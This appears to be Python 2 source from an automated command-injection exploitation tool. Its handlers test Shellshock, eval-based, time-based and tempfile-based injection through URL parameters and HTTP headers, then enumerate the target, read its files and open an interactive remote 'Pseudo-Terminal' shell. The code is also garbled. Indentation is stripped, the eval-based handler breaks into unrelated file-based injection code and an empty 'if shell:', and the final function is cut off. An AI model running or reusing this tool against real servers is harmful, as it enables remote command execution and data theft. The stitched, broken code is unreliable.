def shellshock_handler(url, http_request_method, filename):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "shellshock injection technique"
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
try:
i = 0
total = len(shellshock_cves) * len(headers)
for cve in shellshock_cves:
for check_header in headers:
i = i + 1
attack_vector = "echo " + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
header = {check_header : payload}
request = urllib2.Request(url, None, header)
response = urllib2.urlopen(request)
if not menu.options.verbose:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
elif cve in response.info():
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent )+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vuln_parameter = "HTTP Header"
vp_flag = logs.add_parameter(vp_flag, filename, check_header, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
if cve in response.info():
no_result = False
print Style.BRIGHT + "\n(!) The ("+ check_header + ") '" + Style.UNDERLINE + url + Style.RESET_ALL + Style.BRIGHT + "' is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type.title() + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + "\"" + payload + "\"" + Style.RESET_ALL
# Enumeration options.
enumeration(url, cve, check_header)
# File access options.
file_access(url, cve, check_header)
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell = cmd_exec(url, cmd, cve, check_header)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
sys.exit(0)
else:
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
shell = cmd_exec(url, cmd, cve, check_header)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
continue
break
else:
continue
except urllib2.HTTPError, err:
print "\n" + Fore.YELLOW + "(^) Warning: " + str(err) + Style.RESET_ALL
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
try:
# Eval-based decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
payload = payload + "" + TAG + ""
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+"%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
print ""
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if shell:
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
percent = 0
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
if len(TAG) == output_length:
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "(" + str(randv1) + "+" + str(randv2) + ")"
# Check for false positive resutls
output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell)
if str(output) == str(randvcalc) and len(TAG) == output_length:
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(float_percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
if len(TAG) == output_length :
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
print ""
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
sys.exit(0)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
print ""
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
else:
payload = tfb_payloads.decision(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY +
"(~) Payload: " +
payload.replace("\n", "\\n") +
Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tfb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(
payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
if len(TAG) == output_length:
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(
randv2) + "))"
# Check for false positive resutls
output = tfb_injector.false_positive_check(
separator, TAG, cmd, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
randvcalc, alter_shell)
if str(output) == str(randvcalc) and len(
TAG) == output_length:
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(float_percent) + "%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent) + "%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay) :
if len(TAG) == output_length:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(
separator, maxlen, TAG, prefix,
suffix, delay, http_request_method,
url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(
separator, maxlen, TAG, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n] > "
).lower()
if file_access_again in settings.CHOISE_YES:
print ""
tfb_file_access.do_check(
separator, maxlen, TAG, prefix,
suffix, delay, http_request_method,
url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(
separator, maxlen, TAG, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Exploirt injection result
tfb_injector.export_injection_results(
cmd, separator, output, check_how_long)
sys.exit(0)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower(
) in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(
technique,
go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
# Exploirt injection result
tfb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
